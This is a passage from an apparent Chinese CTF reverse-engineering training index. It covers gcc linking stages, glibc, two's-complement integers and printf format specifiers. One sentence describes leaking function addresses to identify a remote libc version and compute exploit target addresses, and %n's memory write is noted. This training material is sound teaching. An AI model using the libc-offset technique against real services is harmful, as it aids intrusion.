"},{"location":"Training/Material/Reverse/#_6","title":"\u94fe\u63a5","text":"gcc hello.o -o hello\n$ objdump -d -j .text hello\n......\n000000000000064a <main>:\n 64a: 55 push %rbp\n 64b: 48 89 e5 mov %rsp,%rbp\n 64e: 48 8d 3d 9f 00 00 00 lea 0x9f(%rip),%rdi # 6f4 <_IO_stdin_used+0x4>\n 655: e8 d6 fe ff ff callq 530 <puts@plt>\n 65a: b8 00 00 00 00 mov $0x0,%eax\n 65f: 5d pop %rbp\n 660: c3 retq\n 661: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)\n 668: 00 00 00\n 66b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)\n......\n
\u76ee\u6807\u6587\u4ef6\u9700\u8981\u94fe\u63a5\u4e00\u5927\u5806\u6587\u4ef6\u624d\u80fd\u5f97\u5230\u6700\u7ec8\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff08\u4e0a\u9762\u53ea\u5c55\u793a\u4e86\u94fe\u63a5\u540e\u7684 main \u51fd\u6570\uff0c\u53ef\u4ee5\u548c hello.o \u4e2d\u7684 main \u51fd\u6570\u4f5c\u5bf9\u6bd4\uff09\u3002\u94fe\u63a5\u8fc7\u7a0b\u4e3b\u8981\u5305\u62ec\u5730\u5740\u548c\u7a7a\u95f4\u5206\u914d\uff08Address and Storage Allocation\uff09\u3001\u7b26\u53f7\u51b3\u8bae\uff08Symbol Resolution\uff09\u548c\u91cd\u5b9a\u5411\uff08Relocation\uff09\u7b49\u3002
"},{"location":"Training/Material/Reverse/#gcc","title":"gcc \u6280\u5de7","text":"\u901a\u5e38\u5728\u7f16\u8bd1\u540e\u53ea\u4f1a\u751f\u6210\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u800c\u4e2d\u95f4\u8fc7\u7a0b\u751f\u6210\u7684 .i
\u3001.s
\u3001.o
\u6587\u4ef6\u90fd\u4e0d\u4f1a\u88ab\u4fdd\u5b58\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u53c2\u6570 -save-temps
\u6c38\u4e45\u4fdd\u5b58\u8fd9\u4e9b\u4e34\u65f6\u7684\u4e2d\u95f4\u6587\u4ef6\u3002
$ gcc -save-temps hello.c\n$ ls\na.out hello.c hello.i hello.o hello.s\n
\u8fd9\u91cc\u8981\u6ce8\u610f\u7684\u662f\uff0cgcc \u9ed8\u8ba4\u4f7f\u7528\u52a8\u6001\u94fe\u63a5\uff0c\u6240\u4ee5\u8fd9\u91cc\u751f\u6210\u7684 a.out \u5b9e\u9645\u4e0a\u662f\u5171\u4eab\u76ee\u6807\u6587\u4ef6\u3002
$ file a.out\na.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=533aa4ca46d513b1276d14657ec41298cafd98b1, not stripped\n
\u4f7f\u7528\u53c2\u6570 --verbose
\u53ef\u4ee5\u8f93\u51fa gcc \u8be6\u7ec6\u7684\u5de5\u4f5c\u6d41\u7a0b\u3002
gcc hello.c -static --verbose\n
\u4e1c\u897f\u5f88\u591a\uff0c\u6211\u4eec\u4e3b\u8981\u5173\u6ce8\u4e0b\u9762\u51e0\u6761\u4fe1\u606f\uff1a
$ /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/cc1 -quiet -v hello.c -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -o /tmp/ccj1jUMo.s\n\nas -v --64 -o /tmp/ccAmXrfa.o /tmp/ccj1jUMo.s\n\n/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/collect2 -plugin /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/lto-wrapper -plugin-opt=-fresolution=/tmp/cc1l5oJV.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_eh -plugin-opt=-pass-through=-lc --build-id --hash-style=gnu -m elf_x86_64 -static /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crt1.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crti.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtbeginT.o -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0 -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib -L/lib/../lib -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../.. /tmp/ccAmXrfa.o --start-group -lgcc -lgcc_eh -lc --end-group /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtend.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crtn.o\n
\u4e09\u6761\u6307\u4ee4\u5206\u522b\u662f cc1
\u3001as
\u548c collect2
\uff0ccc1 \u662f gcc \u7684\u7f16\u8bd1\u5668\uff0c\u5c06 .c
\u6587\u4ef6\u7f16\u8bd1\u4e3a .s
\u6587\u4ef6\uff0cas \u662f\u6c47\u7f16\u5668\u547d\u4ee4\uff0c\u5c06 .s
\u6587\u4ef6\u6c47\u7f16\u6210 .o
\u6587\u4ef6\uff0ccollect2 \u662f\u94fe\u63a5\u5668\u547d\u4ee4\uff0c\u5b83\u662f\u5bf9\u547d\u4ee4 ld \u7684\u5c01\u88c5\u3002\u9759\u6001\u94fe\u63a5\u65f6\uff0cgcc \u5c06 C \u8bed\u8a00\u8fd0\u884c\u65f6\u5e93\u7684 5 \u4e2a\u91cd\u8981\u76ee\u6807\u6587\u4ef6 crt1.o
\u3001crti.o
\u3001crtbeginT.o
\u3001crtend.o
\u3001crtn.o
\u548c -lgcc
\u3001-lgcc_eh
\u3001-lc
\u8868\u793a\u7684 3 \u4e2a\u9759\u6001\u5e93\u94fe\u63a5\u5230\u53ef\u6267\u884c\u6587\u4ef6\u4e2d\u3002
\u66f4\u591a\u7684\u5185\u5bb9\u6211\u4eec\u4f1a\u5728 1.5.3 \u4e2d\u4e13\u95e8\u5bf9 ELF \u6587\u4ef6\u8fdb\u884c\u8bb2\u89e3\u3002
"},{"location":"Training/Material/Reverse/#c_1","title":"C \u8bed\u8a00\u6807\u51c6\u5e93","text":"C \u8fd0\u884c\u5e93\uff08CRT\uff09\u662f\u4e00\u5957\u5e9e\u5927\u7684\u4ee3\u7801\u5e93\uff0c\u4ee5\u652f\u6491\u7a0b\u5e8f\u80fd\u591f\u6b63\u5e38\u5730\u8fd0\u884c\u3002\u5176\u4e2d C \u8bed\u8a00\u6807\u51c6\u5e93\u5360\u636e\u4e86\u6700\u4e3b\u8981\u5730\u4f4d\u3002
\u5e38\u7528\u7684\u6807\u51c6\u5e93\u6587\u4ef6\u5934\uff1a
glibc \u5373 GNU C Library\uff0c\u662f\u4e3a GNU \u64cd\u4f5c\u7cfb\u7edf\u5f00\u53d1\u7684\u4e00\u4e2a C \u6807\u51c6\u5e93\u3002glibc \u4e3b\u8981\u7531\u4e24\u90e8\u5206\u7ec4\u6210\uff0c\u4e00\u90e8\u5206\u662f\u5934\u6587\u4ef6\uff0c\u4f4d\u4e8e /usr/include
\uff1b\u53e6\u4e00\u90e8\u5206\u662f\u5e93\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\u3002\u4e8c\u8fdb\u5236\u6587\u4ef6\u90e8\u5206\u4e3b\u8981\u662f C \u8bed\u8a00\u6807\u51c6\u5e93\uff0c\u6709\u52a8\u6001\u548c\u9759\u6001\u4e24\u4e2a\u7248\u672c\uff0c\u52a8\u6001\u7248\u672c\u4f4d\u4e8e /lib/libc.so.6
\uff0c\u9759\u6001\u7248\u672c\u4f4d\u4e8e /usr/lib/libc.a
\u3002
\u5728\u6f0f\u6d1e\u5229\u7528\u7684\u8fc7\u7a0b\u4e2d\uff0c\u901a\u5e38\u6211\u4eec\u901a\u8fc7\u8ba1\u7b97\u76ee\u6807\u51fd\u6570\u5730\u5740\u76f8\u5bf9\u4e8e\u5df2\u77e5\u51fd\u6570\u5730\u5740\u5728\u540c\u4e00\u4e2a libc \u4e2d\u7684\u504f\u79fb\uff0c\u6765\u83b7\u5f97\u76ee\u6807\u51fd\u6570\u7684\u865a\u62df\u5730\u5740\uff0c\u8fd9\u65f6\u6211\u4eec\u9700\u8981\u8ba9\u672c\u5730\u7684 libc \u7248\u672c\u548c\u8fdc\u7a0b\u7684 libc \u7248\u672c\u76f8\u540c\uff0c\u53ef\u4ee5\u5148\u6cc4\u9732\u51e0\u4e2a\u51fd\u6570\u7684\u5730\u5740\uff0c\u7136\u540e\u5728 libcdb.com \u4e2d\u8fdb\u884c\u641c\u7d22\u6765\u5f97\u5230\u3002
"},{"location":"Training/Material/Reverse/#_7","title":"\u6574\u6570\u8868\u793a","text":"\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cC \u8bed\u8a00\u4e2d\u7684\u6570\u5b57\u662f\u6709\u7b26\u53f7\u6570\uff0c\u4e0b\u9762\u6211\u4eec\u58f0\u660e\u4e00\u4e2a\u6709\u7b26\u53f7\u6574\u6570\u548c\u65e0\u7b26\u53f7\u6574\u6570\uff1a
int var1 = 0;\nunsigned int var2 = 0;\n
int
\u7684\u8303\u56f4\uff1a-2,147,483,648 ~ 2,147,483,647
unsigned int
\u7684\u8303\u56f4\uff1a0 ~ 4,294,967,295
signed
\u6216\u8005 unsigned
\u53d6\u51b3\u4e8e\u6574\u6570\u7c7b\u578b\u662f\u5426\u53ef\u4ee5\u643a\u5e26\u6807\u5fd7 +/-
\uff1a
\u5728 signed int
\u4e2d\uff0c\u4e8c\u8fdb\u5236\u6700\u9ad8\u4f4d\u88ab\u79f0\u4f5c\u7b26\u53f7\u4f4d\uff0c\u7b26\u53f7\u4f4d\u88ab\u8bbe\u7f6e\u4e3a 1
\u65f6\uff0c\u8868\u793a\u503c\u4e3a\u8d1f\uff0c\u5f53\u8bbe\u7f6e\u4e3a 0
\u65f6\uff0c\u503c\u4e3a\u975e\u8d1f\uff1a
\u4e8c\u8fdb\u5236\u8865\u7801\u4ee5\u4e00\u79cd\u9002\u5408\u4e8e\u4e8c\u8fdb\u5236\u52a0\u6cd5\u5668\u7684\u65b9\u5f0f\u6765\u8868\u793a\u8d1f\u6570\uff0c\u5f53\u4e00\u4e2a\u4e8c\u8fdb\u5236\u8865\u7801\u5f62\u5f0f\u8868\u793a\u7684\u8d1f\u6570\u548c\u4e0e\u5b83\u7684\u7edd\u5bf9\u503c\u76f8\u7b49\u7684\u6b63\u6570\u76f8\u52a0\u65f6\uff0c\u7ed3\u679c\u4e3a 0\u3002\u9996\u5148\u4ee5\u4e8c\u8fdb\u5236\u65b9\u5f0f\u5199\u51fa\u6b63\u6570\uff0c\u7136\u540e\u5bf9\u6240\u6709\u4f4d\u53d6\u53cd\uff0c\u6700\u540e\u52a0 1 \u5c31\u53ef\u4ee5\u5f97\u5230\u8be5\u6570\u7684\u4e8c\u8fdb\u5236\u8865\u7801\uff1a
eg: 0x00123456\n = 1193046\n = 00000000000100100011010001010110\n ~= 11111111111011011100101110101001\n += 11111111111011011100101110101010\n = -1193046 (0xFFEDCBAA)\n
\u7f16\u8bd1\u5668\u9700\u8981\u6839\u636e\u53d8\u91cf\u7c7b\u578b\u4fe1\u606f\u7f16\u8bd1\u6210\u76f8\u5e94\u7684\u6307\u4ee4\uff1a
32 \u4f4d\u673a\u5668\u4e0a\u7684\u6574\u578b\u6570\u636e\u7c7b\u578b\uff0c\u4e0d\u540c\u7684\u7cfb\u7edf\u53ef\u80fd\u4f1a\u6709\u4e0d\u540c\uff1a
C \u6570\u636e\u7c7b\u578b \u6700\u5c0f\u503c \u6700\u5927\u503c \u6700\u5c0f\u5927\u5c0f char -128 127 8 bits short -32 768 32 767 16 bits int -2 147 483 648 2 147 483 647 16 bits long -2 147 483 648 2 147 483 647 32 bits long long -9 223 372 036 854 775 808 9 223 372 036 854 775 807 64 bits\u56fa\u5b9a\u5927\u5c0f\u7684\u6570\u636e\u7c7b\u578b\uff1a
int [# of bits]_t
int8_t, int16_t, int32_t
uint[# of bits]_t
uint8_t, uint16_t, uint32_t
\u6709\u7b26\u53f7\u6574\u6570
\u65e0\u7b26\u53f7\u6574\u6570
\u66f4\u591a\u4fe1\u606f\u5728 stdint.h
\u548c limits.h
\u4e2d\uff1a
man stdint.h\ncat /usr/include/stdint.h\nman limits.h\ncat /usr/include/limits.h\n
\u4e86\u89e3\u6574\u6570\u7684\u7b26\u53f7\u548c\u5927\u5c0f\u662f\u5f88\u6709\u7528\u7684\uff0c\u5728\u540e\u9762\u7684\u76f8\u5173\u7ae0\u8282\u4e2d\u6211\u4eec\u4f1a\u4ecb\u7ecd\u6574\u6570\u6ea2\u51fa\u7684\u5185\u5bb9\u3002
"},{"location":"Training/Material/Reverse/#_8","title":"\u683c\u5f0f\u5316\u8f93\u51fa\u51fd\u6570","text":"C \u6807\u51c6\u4e2d\u5b9a\u4e49\u4e86\u4e0b\u9762\u7684\u683c\u5f0f\u5316\u8f93\u51fa\u51fd\u6570\uff08\u53c2\u8003 man \uff13 printf
\uff09\uff1a
#include <stdio.h>\n\nint printf(const char *format, ...);\nint fprintf(FILE *stream, const char *format, ...);\nint dprintf(int fd, const char *format, ...);\nint sprintf(char *str, const char *format, ...);\nint snprintf(char *str, size_t size, const char *format, ...);\n\n#include <stdarg.h>\n\nint vprintf(const char *format, va_list ap);\nint vfprintf(FILE *stream, const char *format, va_list ap);\nint vdprintf(int fd, const char *format, va_list ap);\nint vsprintf(char *str, const char *format, va_list ap);\nint vsnprintf(char *str, size_t size, const char *format, va_list ap);\n
fprintf()
\u6309\u7167\u683c\u5f0f\u5b57\u7b26\u4e32\u7684\u5185\u5bb9\u5c06\u8f93\u51fa\u5199\u5165\u6d41\u4e2d\u3002\u4e09\u4e2a\u53c2\u6570\u4e3a\u6d41\u3001\u683c\u5f0f\u5b57\u7b26\u4e32\u548c\u53d8\u53c2\u5217\u8868\u3002printf()
\u7b49\u540c\u4e8e fprintf()
\uff0c\u4f46\u662f\u5b83\u5047\u5b9a\u8f93\u51fa\u6d41\u4e3a stdout
\u3002sprintf()
\u7b49\u540c\u4e8e fprintf()
\uff0c\u4f46\u662f\u8f93\u51fa\u4e0d\u662f\u5199\u5165\u6d41\u800c\u662f\u5199\u5165\u6570\u7ec4\u3002\u5728\u5199\u5165\u7684\u5b57\u7b26\u4e32\u672b\u5c3e\u5fc5\u987b\u6dfb\u52a0\u4e00\u4e2a\u7a7a\u5b57\u7b26\u3002snprintf()
\u7b49\u540c\u4e8e sprintf()
\uff0c\u4f46\u662f\u5b83\u6307\u5b9a\u4e86\u53ef\u5199\u5165\u5b57\u7b26\u7684\u6700\u5927\u503c size
\u3002\u5f53 size
\u5927\u4e8e\u96f6\u65f6\uff0c\u8f93\u51fa\u5b57\u7b26\u8d85\u8fc7\u7b2c size-1
\u7684\u90e8\u5206\u4f1a\u88ab\u820d\u5f03\u800c\u4e0d\u4f1a\u5199\u5165\u6570\u7ec4\u4e2d\uff0c\u5728\u5199\u5165\u6570\u7ec4\u7684\u5b57\u7b26\u4e32\u672b\u5c3e\u4f1a\u6dfb\u52a0\u4e00\u4e2a\u7a7a\u5b57\u7b26\u3002dprintf()
\u7b49\u540c\u4e8e fprintf()
\uff0c\u4f46\u662f\u5b83\u8f93\u51fa\u4e0d\u662f\u6d41\u800c\u662f\u4e00\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26 fd
\u3002vfprintf()
\u3001vprintf()
\u3001vsprintf()
\u3001vsnprintf()
\u3001vdprintf()
\u5206\u522b\u4e0e\u4e0a\u9762\u7684\u51fd\u6570\u5bf9\u5e94\uff0c\u53ea\u662f\u5b83\u4eec\u5c06\u53d8\u53c2\u5217\u8868\u6362\u6210\u4e86 va_list
\u7c7b\u578b\u7684\u53c2\u6570\u3002\u683c\u5f0f\u5b57\u7b26\u4e32\u662f\u7531\u666e\u901a\u5b57\u7b26\uff08ordinary character\uff09\uff08\u5305\u62ec %
\uff09\u548c\u8f6c\u6362\u89c4\u5219\uff08conversion specification\uff09\u6784\u6210\u7684\u5b57\u7b26\u5e8f\u5217\u3002\u666e\u901a\u5b57\u7b26\u88ab\u539f\u5c01\u4e0d\u52a8\u5730\u590d\u5236\u5230\u8f93\u51fa\u6d41\u4e2d\u3002\u8f6c\u6362\u89c4\u5219\u6839\u636e\u4e0e\u5b9e\u53c2\u5bf9\u5e94\u7684\u8f6c\u6362\u6307\u793a\u7b26\u5bf9\u5176\u8fdb\u884c\u8f6c\u6362\uff0c\u7136\u540e\u5c06\u7ed3\u679c\u5199\u5165\u8f93\u51fa\u6d41\u4e2d\u3002
\u4e00\u4e2a\u8f6c\u6362\u89c4\u5219\u6709\u53ef\u9009\u90e8\u5206\u548c\u5fc5\u9700\u90e8\u5206\u7ec4\u6210\uff1a
%[ \u53c2\u6570 ][ \u6807\u5fd7 ][ \u5bbd\u5ea6 ][ .\u7cbe\u5ea6 ][ \u957f\u5ea6 ] \u8f6c\u6362\u6307\u793a\u7b26\n
d
, i
\u6709\u7b26\u53f7\u5341\u8fdb\u5236\u6570\u503c int
\u3002'%d
' \u4e0e '%i
' \u5bf9\u4e8e\u8f93\u51fa\u662f\u540c\u4e49\uff1b\u4f46\u5bf9\u4e8e scanf()
\u8f93\u5165\u4e8c\u8005\u4e0d\u540c\uff0c\u5176\u4e2d %i
\u5728\u8f93\u5165\u503c\u6709\u524d\u7f00 0x
\u6216 0
\u65f6\uff0c\u5206\u522b\u8868\u793a 16 \u8fdb\u5236\u6216 8 \u8fdb\u5236\u7684\u503c\u3002\u5982\u679c\u6307\u5b9a\u4e86\u7cbe\u5ea6\uff0c\u5219\u8f93\u51fa\u7684\u6570\u5b57\u4e0d\u8db3\u65f6\u5728\u5de6\u4fa7\u8865 0\u3002\u9ed8\u8ba4\u7cbe\u5ea6\u4e3a 1\u3002\u7cbe\u5ea6\u4e3a 0 \u4e14\u503c\u4e3a 0\uff0c\u5219\u8f93\u51fa\u4e3a\u7a7a u
\u5341\u8fdb\u5236 unsigned int
\u3002\u5982\u679c\u6307\u5b9a\u4e86\u7cbe\u5ea6\uff0c\u5219\u8f93\u51fa\u7684\u6570\u5b57\u4e0d\u8db3\u65f6\u5728\u5de6\u4fa7\u8865 0\u3002\u9ed8\u8ba4\u7cbe\u5ea6\u4e3a 1\u3002\u7cbe\u5ea6\u4e3a 0 \u4e14\u503c\u4e3a 0\uff0c\u5219\u8f93\u51fa\u4e3a\u7a7a f
, F
double
\u578b\u8f93\u51fa 10 \u8fdb\u5236\u5b9a\u70b9\u8868\u793a\u3002'f
' \u4e0e 'F
' \u5dee\u5f02\u662f\u8868\u793a\u65e0\u7a77\u4e0e NaN \u65f6\uff0c'f
' \u8f93\u51fa 'inf
', 'infinity
' \u4e0e 'nan
'\uff1b'F
' \u8f93\u51fa 'INF
', 'INFINITY
' \u4e0e 'NAN
'\u3002\u5c0f\u6570\u70b9\u540e\u7684\u6570\u5b57\u4f4d\u6570\u7b49\u4e8e\u7cbe\u5ea6\uff0c\u6700\u540e\u4e00\u4f4d\u6570\u5b57\u56db\u820d\u4e94\u5165\u3002\u7cbe\u5ea6\u9ed8\u8ba4\u4e3a 6\u3002\u5982\u679c\u7cbe\u5ea6\u4e3a 0 \u4e14\u6ca1\u6709 # \u6807\u8bb0\uff0c\u5219\u4e0d\u51fa\u73b0\u5c0f\u6570\u70b9\u3002\u5c0f\u6570\u70b9\u5de6\u4fa7\u81f3\u5c11\u4e00\u4f4d\u6570\u5b57 e
, E
double
\u503c\uff0c\u8f93\u51fa\u5f62\u5f0f\u4e3a 10 \u8fdb\u5236\u7684([-
]d.ddd e
[+
/-
]ddd). E
\u7248\u672c\u4f7f\u7528\u7684\u6307\u6570\u7b26\u53f7\u4e3a E
\uff08\u800c\u4e0d\u662fe
\uff09\u3002\u6307\u6570\u90e8\u5206\u81f3\u5c11\u5305\u542b 2 \u4f4d\u6570\u5b57\uff0c\u5982\u679c\u503c\u4e3a 0\uff0c\u5219\u6307\u6570\u90e8\u5206\u4e3a 00\u3002Windows \u7cfb\u7edf\uff0c\u6307\u6570\u90e8\u5206\u81f3\u5c11\u4e3a 3 \u4f4d\u6570\u5b57\uff0c\u4f8b\u5982 1.5e002\uff0c\u4e5f\u53ef\u7528 Microsoft \u7248\u7684\u8fd0\u884c\u65f6\u51fd\u6570 _set_output_format
\u4fee\u6539\u3002\u5c0f\u6570\u70b9\u524d\u5b58\u5728 1 \u4f4d\u6570\u5b57\u3002\u5c0f\u6570\u70b9\u540e\u7684\u6570\u5b57\u4f4d\u6570\u7b49\u4e8e\u7cbe\u5ea6\u3002\u7cbe\u5ea6\u9ed8\u8ba4\u4e3a 6\u3002\u5982\u679c\u7cbe\u5ea6\u4e3a 0 \u4e14\u6ca1\u6709 # \u6807\u8bb0\uff0c\u5219\u4e0d\u51fa\u73b0\u5c0f\u6570\u70b9 g
, G
double
\u578b\u6570\u503c\uff0c\u7cbe\u5ea6\u5b9a\u4e49\u4e3a\u5168\u90e8\u6709\u6548\u6570\u5b57\u4f4d\u6570\u3002\u5f53\u6307\u6570\u90e8\u5206\u5728\u95ed\u533a\u95f4 [-4,\u7cbe\u5ea6] \u5185\uff0c\u8f93\u51fa\u4e3a\u5b9a\u70b9\u5f62\u5f0f\uff1b\u5426\u5219\u8f93\u51fa\u4e3a\u6307\u6570\u6d6e\u70b9\u5f62\u5f0f\u3002'g
' \u4f7f\u7528\u5c0f\u5199\u5b57\u6bcd\uff0c'G
' \u4f7f\u7528\u5927\u5199\u5b57\u6bcd\u3002\u5c0f\u6570\u70b9\u53f3\u4fa7\u7684\u5c3e\u6570 0 \u4e0d\u88ab\u663e\u793a\uff1b\u663e\u793a\u5c0f\u6570\u70b9\u4ec5\u5f53\u8f93\u51fa\u7684\u5c0f\u6570\u90e8\u5206\u4e0d\u4e3a 0 x
, X
16 \u8fdb\u5236 unsigned int
\u3002'x
' \u4f7f\u7528\u5c0f\u5199\u5b57\u6bcd\uff1b'X
' \u4f7f\u7528\u5927\u5199\u5b57\u6bcd\u3002\u5982\u679c\u6307\u5b9a\u4e86\u7cbe\u5ea6\uff0c\u5219\u8f93\u51fa\u7684\u6570\u5b57\u4e0d\u8db3\u65f6\u5728\u5de6\u4fa7\u8865 0\u3002\u9ed8\u8ba4\u7cbe\u5ea6\u4e3a 1\u3002\u7cbe\u5ea6\u4e3a 0 \u4e14\u503c\u4e3a 0\uff0c\u5219\u8f93\u51fa\u4e3a\u7a7a o
8 \u8fdb\u5236 unsigned int
\u3002\u5982\u679c\u6307\u5b9a\u4e86\u7cbe\u5ea6\uff0c\u5219\u8f93\u51fa\u7684\u6570\u5b57\u4e0d\u8db3\u65f6\u5728\u5de6\u4fa7\u8865 0\u3002\u9ed8\u8ba4\u7cbe\u5ea6\u4e3a 1\u3002\u7cbe\u5ea6\u4e3a 0 \u4e14\u503c\u4e3a 0\uff0c\u5219\u8f93\u51fa\u4e3a\u7a7a s
\u5982\u679c\u6ca1\u6709\u7528 l
\u6807\u5fd7\uff0c\u8f93\u51fa null
\u7ed3\u5c3e\u5b57\u7b26\u4e32\u76f4\u5230\u7cbe\u5ea6\u89c4\u5b9a\u7684\u4e0a\u9650\uff1b\u5982\u679c\u6ca1\u6709\u6307\u5b9a\u7cbe\u5ea6\uff0c\u5219\u8f93\u51fa\u6240\u6709\u5b57\u8282\u3002\u5982\u679c\u7528\u4e86 l
\u6807\u5fd7\uff0c\u5219\u5bf9\u5e94\u51fd\u6570\u53c2\u6570\u6307\u5411 wchar_t
\u578b\u7684\u6570\u7ec4\uff0c\u8f93\u51fa\u65f6\u628a\u6bcf\u4e2a\u5bbd\u5b57\u7b26\u8f6c\u5316\u4e3a\u591a\u5b57\u8282\u5b57\u7b26\uff0c\u76f8\u5f53\u4e8e\u8c03\u7528 wcrtomb
\u51fd\u6570 c
\u5982\u679c\u6ca1\u6709\u7528 l
\u6807\u5fd7\uff0c\u628a int
\u53c2\u6570\u8f6c\u4e3a unsigned char
\u578b\u8f93\u51fa\uff1b\u5982\u679c\u7528\u4e86 l
\u6807\u5fd7\uff0c\u628a wint_t
\u53c2\u6570\u8f6c\u4e3a\u5305\u542b\u4e24\u4e2a\u5143\u7d20\u7684 wchart_t
\u6570\u7ec4\uff0c\u5176\u4e2d\u7b2c\u4e00\u4e2a\u5143\u7d20\u5305\u542b\u8981\u8f93\u51fa\u7684\u5b57\u7b26\uff0c\u7b2c\u4e8c\u4e2a\u5143\u7d20\u4e3a null
\u5bbd\u5b57\u7b26 p
void *
\u578b\uff0c\u8f93\u51fa\u5bf9\u5e94\u53d8\u91cf\u7684\u503c\u3002printf(\"%p\", a)
\u7528\u5730\u5740\u7684\u683c\u5f0f\u6253\u5370\u53d8\u91cf a
\u7684\u503c\uff0cprintf(\"%p\", &a)
\u6253\u5370\u53d8\u91cf a
\u6240\u5728\u7684\u5730\u5740 a
, A
double
\u578b\u7684 16 \u8fdb\u5236\u8868\u793a\uff0c\"[\u2212]0xh.hhhh p\u00b1d\"\u3002\u5176\u4e2d\u6307\u6570\u90e8\u5206\u4e3a 10 \u8fdb\u5236\u8868\u793a\u7684\u5f62\u5f0f\u3002\u4f8b\u5982\uff1a1025.010 \u8f93\u51fa\u4e3a 0x1.004000p+10\u3002'a
' \u4f7f\u7528\u5c0f\u5199\u5b57\u6bcd\uff0c'A
' \u4f7f\u7528\u5927\u5199\u5b57\u6bcd n
\u4e0d\u8f93\u51fa\u5b57\u7b26\uff0c\u4f46\u662f\u628a\u5df2\u7ecf\u6210\u529f\u8f93\u51fa\u7684\u5b57\u7b26\u4e2a\u6570\u5199\u5165\u5bf9\u5e94\u7684\u6574\u578b\u6307\u9488\u53c2\u6570\u6240\u6307\u7684\u53d8\u91cf %
'%
' \u5b57\u9762\u503c\uff0c\u4e0d\u63a5\u53d7\u4efb\u4f55\u9664\u4e86 \u53c2\u6570
\u4ee5\u5916\u7684\u90e8\u5206 n$
n
\u662f\u7528\u8fd9\u4e2a\u683c\u5f0f\u8bf4\u660e\u7b26\u663e\u793a\u7b2c\u51e0\u4e2a\u53c2\u6570\uff1b\u8fd9\u4f7f\u5f97\u53c2\u6570\u53ef\u4ee5\u8f93\u51fa\u591a\u6b21\uff0c\u4f7f\u7528\u591a\u4e2a\u683c\u5f0f\u8bf4\u660e\u7b26\uff0c\u4ee5\u4e0d\u540c\u7684\u987a\u5e8f\u8f93\u51fa\u3002\u5982\u679c\u4efb\u610f\u4e00\u4e2a\u5360\u4f4d\u7b26\u4f7f\u7528\u4e86 \u53c2\u6570
\uff0c\u5219\u5176\u4ed6\u6240\u6709\u5360\u4f4d\u7b26\u5fc5\u987b\u4e5f\u4f7f\u7528 \u53c2\u6570
\u3002\u4f8b\uff1aprintf(\"%2$d %2$#x; %1$d %1$#x\",16,17)
\u4ea7\u751f \"17 0x11; 16 0x10
\" +
\u603b\u662f\u8868\u793a\u6709\u7b26\u53f7\u6570\u503c\u7684 '+
' \u6216 '-
' \u53f7\uff0c\u7f3a\u7701\u60c5\u51b5\u662f\u5ffd\u7565\u6b63\u6570\u7684\u7b26\u53f7\u3002\u4ec5\u9002\u7528\u4e8e\u6570\u503c\u7c7b\u578b \u7a7a\u683c \u4f7f\u5f97\u6709\u7b26\u53f7\u6570\u7684\u8f93\u51fa\u5982\u679c\u6ca1\u6709\u6b63\u8d1f\u53f7\u6216\u8005\u8f93\u51fa 0 \u4e2a\u5b57\u7b26\uff0c\u5219\u524d\u7f00 1 \u4e2a\u7a7a\u683c\u3002\u5982\u679c\u7a7a\u683c\u4e0e '+
' \u540c\u65f6\u51fa\u73b0\uff0c\u5219\u7a7a\u683c\u8bf4\u660e\u7b26\u88ab\u5ffd\u7565 -
\u5de6\u5bf9\u9f50\u3002\u7f3a\u7701\u60c5\u51b5\u662f\u53f3\u5bf9\u9f50 #
\u5bf9\u4e8e 'g
' \u4e0e 'G
'\uff0c\u4e0d\u5220\u9664\u5c3e\u90e8 0 \u4ee5\u8868\u793a\u7cbe\u5ea6\u3002\u5bf9\u4e8e 'f
', 'F
', 'e
', 'E
', 'g
', 'G
', \u603b\u662f\u8f93\u51fa\u5c0f\u6570\u70b9\u3002\u5bf9\u4e8e 'o
', 'x
', 'X
', \u5728\u975e 0 \u6570\u503c\u524d\u5206\u522b\u8f93\u51fa\u524d\u7f00 0
, 0x
\u548c 0X
\u8868\u793a\u6570\u5236 0
\u5982\u679c \u5bbd\u5ea6
\u9009\u9879\u524d\u7f00\u4e3a 0
\uff0c\u5219\u5728\u5de6\u4fa7\u7528 0
\u586b\u5145\u76f4\u81f3\u8fbe\u5230\u5bbd\u5ea6\u8981\u6c42\u3002\u4f8b\u5982 printf(\"%2d\", 3)
\u8f93\u51fa \"3
\"\uff0c\u800c printf(\"%02d\", 3)
\u8f93\u51fa \"03
\"\u3002\u5982\u679c 0
\u4e0e -
\u5747\u51fa\u73b0\uff0c\u5219 0
